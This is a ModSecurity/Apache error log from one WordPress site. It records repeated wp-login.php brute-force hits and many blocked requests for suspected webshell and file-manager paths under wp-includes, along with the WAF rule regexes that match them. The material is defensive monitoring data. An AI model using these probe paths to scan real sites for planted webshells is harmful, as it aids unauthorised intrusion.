[Sun Mar 01 14:15:59.382043 2026] [:error] [pid 38034:tid 38050] [client 45.86.202.175:64427] [client 45.86.202.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aaPZnwxtfZjwlJok9K9y4wAAAQw"]
[Sun Mar 01 14:16:00.605397 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZoOu0U4o7eSImsVQM1QAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:02.203413 2026] [:error] [pid 37032:tid 37048] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZouu0U4o7eSImsVQM3gAAAY4"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:05.186604 2026] [:error] [pid 37032:tid 37040] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZpeu0U4o7eSImsVQM7AAAAYY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:06.559121 2026] [:error] [pid 37032:tid 37054] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZpuu0U4o7eSImsVQM8AAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:09.721556 2026] [:error] [pid 37032:tid 37042] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZqeu0U4o7eSImsVQM-wAAAYg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:11.076125 2026] [:error] [pid 37032:tid 37043] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZq-u0U4o7eSImsVQM_AAAAYk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:12.560008 2026] [:error] [pid 44644:tid 44666] [client 45.86.202.162:41631] [client 45.86.202.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaPZrJ3RJaXMcw3y9V9i3QAAABM"]
[Sun Mar 01 14:16:13.963445 2026] [:error] [pid 37032:tid 37051] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZreu0U4o7eSImsVQNBQAAAZE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:15.198191 2026] [:error] [pid 44644:tid 44661] [client 45.86.202.205:63041] [client 45.86.202.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaPZr53RJaXMcw3y9V9i_AAAAA4"]
[Sun Mar 01 14:16:15.337684 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZr-u0U4o7eSImsVQNCQAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:15.792322 2026] [:error] [pid 44644:tid 44663] [client 45.86.202.205:23991] [client 45.86.202.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaPZr53RJaXMcw3y9V9jCAAAABA"]
[Sun Mar 01 14:16:16.325940 2026] [:error] [pid 37032:tid 37043] [client 45.86.202.187:28977] [client 45.86.202.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaPZsOu0U4o7eSImsVQNCgAAAYk"]
[Sun Mar 01 14:16:16.997764 2026] [:error] [pid 37032:tid 37052] [client 45.86.202.189:33373] [client 45.86.202.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaPZsOu0U4o7eSImsVQNDQAAAZI"]
[Sun Mar 01 14:16:17.624546 2026] [:error] [pid 44644:tid 44652] [client 45.86.202.174:35963] [client 45.86.202.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaPZsZ3RJaXMcw3y9V9jHQAAAAU"]
[Sun Mar 01 14:16:18.076491 2026] [:error] [pid 37032:tid 37052] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZsuu0U4o7eSImsVQNGAAAAZI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:19.349478 2026] [:error] [pid 37032:tid 37054] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZs-u0U4o7eSImsVQNKQAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:19.681965 2026] [:error] [pid 37032:tid 37039] [client 45.86.202.180:59983] [client 45.86.202.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaPZs-u0U4o7eSImsVQNKwAAAYU"]
[Sun Mar 01 14:16:22.091877 2026] [:error] [pid 37032:tid 37053] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZtuu0U4o7eSImsVQNMwAAAZM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:22.679299 2026] [:error] [pid 42619:tid 42641] [client 45.86.202.203:51537] [client 45.86.202.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aaPZth_zUXcYaZE4AOdyRgAAAVQ"]
[Sun Mar 01 14:16:23.373779 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZt-u0U4o7eSImsVQNNQAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:26.129661 2026] [:error] [pid 37032:tid 37048] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZuuu0U4o7eSImsVQNQQAAAY4"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:27.023743 2026] [:error] [pid 38241:tid 38253] [client 45.86.202.194:58809] [client 45.86.202.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaPZu_KRPk6YnJBxw_wU8QAAAMk"]
[Sun Mar 01 14:16:27.401976 2026] [:error] [pid 37032:tid 37044] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZu-u0U4o7eSImsVQNRAAAAYo"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:28.822352 2026] [:error] [pid 44644:tid 44669] [client 45.86.202.192:51869] [client 45.86.202.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaPZvJ3RJaXMcw3y9V9jQwAAABY"]
[Sun Mar 01 14:16:30.048207 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZvuu0U4o7eSImsVQNRgAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:31.295042 2026] [:error] [pid 37032:tid 37056] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZv-u0U4o7eSImsVQNTgAAAZY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:31.534754 2026] [:error] [pid 41967:tid 41971] [client 45.86.202.193:57181] [client 45.86.202.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaPZv4O1bqY181I02eF6TgAAAII"]
[Sun Mar 01 14:16:33.978633 2026] [:error] [pid 37032:tid 37054] [client 45.141.233.210:60040] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZweu0U4o7eSImsVQNVQAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:16:43.981512 2026] [:error] [pid 44644:tid 44661] [client 45.86.202.197:61171] [client 45.86.202.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaPZy53RJaXMcw3y9V9jvwAAAA4"]
[Sun Mar 01 14:16:46.893615 2026] [:error] [pid 38241:tid 38254] [client 45.86.202.175:61429] [client 45.86.202.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaPZzvKRPk6YnJBxw_wVVgAAAMo"]
[Sun Mar 01 14:16:52.301812 2026] [:error] [pid 38034:tid 38062] [client 45.86.202.159:39257] [client 45.86.202.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/defaults.php"] [unique_id "aaPZ1AxtfZjwlJok9K9zWQAAARg"]
[Sun Mar 01 14:16:54.868161 2026] [:error] [pid 41780:tid 41789] [client 45.86.202.183:63761] [client 45.86.202.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aaPZ1sONkVoocLIqzy0HiQAAA8Y"]
[Sun Mar 01 14:17:02.497999 2026] [:error] [pid 41780:tid 41796] [client 45.86.202.201:34787] [client 45.86.202.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaPZ3sONkVoocLIqzy0HnAAAA80"]
[Sun Mar 01 14:17:06.248619 2026] [:error] [pid 44644:tid 44666] [client 45.86.202.200:30225] [client 45.86.202.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaPZ4p3RJaXMcw3y9V9kCgAAABM"]
[Sun Mar 01 14:17:09.123477 2026] [:error] [pid 37032:tid 37054] [client 45.86.202.171:59337] [client 45.86.202.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaPZ5eu0U4o7eSImsVQNpgAAAZQ"]
[Sun Mar 01 14:17:09.727253 2026] [:error] [pid 38241:tid 38265] [client 45.86.202.182:51435] [client 45.86.202.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaPZ5fKRPk6YnJBxw_wViAAAANU"]
[Sun Mar 01 14:17:10.286968 2026] [:error] [pid 42619:tid 42644] [client 45.86.202.200:57769] [client 45.86.202.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaPZ5h_zUXcYaZE4AOdyrAAAAVc"]
[Sun Mar 01 14:17:16.912026 2026] [:error] [pid 38034:tid 38053] [client 45.86.202.157:65393] [client 45.86.202.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/info.php"] [unique_id "aaPZ7AxtfZjwlJok9K9ztwAAAQ8"]
[Sun Mar 01 14:17:17.594264 2026] [:error] [pid 41780:tid 41794] [client 45.86.202.156:36809] [client 45.86.202.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class.api.php"] [unique_id "aaPZ7cONkVoocLIqzy0HogAAA8s"]
[Sun Mar 01 14:17:18.226225 2026] [:error] [pid 44644:tid 44648] [client 45.86.202.192:34219] [client 45.86.202.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaPZ7p3RJaXMcw3y9V9kOQAAAAE"]
[Sun Mar 01 14:17:32.892796 2026] [:error] [pid 41967:tid 41975] [client 45.86.202.160:62239] [client 45.86.202.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "aaPZ_IO1bqY181I02eF6nwAAAIY"]
[Sun Mar 01 14:17:38.726405 2026] [:error] [pid 44644:tid 44650] [client 45.86.202.175:52481] [client 45.86.202.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaPaAp3RJaXMcw3y9V9klwAAAAM"]
[Sun Mar 01 14:17:58.205723 2026] [:error] [pid 44644:tid 44669] [client 45.86.202.175:52481] [client 45.86.202.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaPaFp3RJaXMcw3y9V9k7AAAABY"]
[Sun Mar 01 14:18:03.260052 2026] [:error] [pid 44644:tid 44654] [client 45.86.202.197:57577] [client 45.86.202.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaPaG53RJaXMcw3y9V9lCgAAAAc"]
[Sun Mar 01 14:18:06.896437 2026] [:error] [pid 44644:tid 44654] [client 45.86.202.197:57577] [client 45.86.202.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/item.php"] [unique_id "aaPaHp3RJaXMcw3y9V9lGAAAAAc"]
[Sun Mar 01 14:18:20.718174 2026] [:error] [pid 38034:tid 38062] [client 45.86.202.190:61979] [client 45.86.202.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaPaLAxtfZjwlJok9K90wwAAARg"]
[Sun Mar 01 14:18:34.316040 2026] [:error] [pid 38241:tid 38244] [client 45.86.202.193:24853] [client 45.86.202.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaPaOvKRPk6YnJBxw_wWYgAAAMA"]
[Sun Mar 01 14:18:38.621139 2026] [:error] [pid 37032:tid 37043] [client 45.86.202.188:62833] [client 45.86.202.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaPaPuu0U4o7eSImsVQO-gAAAYk"]
[Sun Mar 01 14:18:44.469875 2026] [:error] [pid 44644:tid 44669] [client 45.86.202.188:50573] [client 45.86.202.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-login.php"] [unique_id "aaPaRJ3RJaXMcw3y9V9lngAAABY"]
[Sun Mar 01 14:18:46.031446 2026] [:error] [pid 44644:tid 44648] [client 45.86.202.188:50573] [client 45.86.202.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaPaRp3RJaXMcw3y9V9lrAAAAAE"]
[Sun Mar 01 14:19:16.181727 2026] [:error] [pid 41342:tid 41346] [client 45.86.202.200:22697] [client 45.86.202.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaPaZI4iJ6RAS5CatDlCfwAAAgE"]
[Sun Mar 01 14:19:22.211808 2026] [:error] [pid 44644:tid 44666] [client 45.86.202.204:45733] [client 45.86.202.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaPaap3RJaXMcw3y9V9mIgAAABM"]
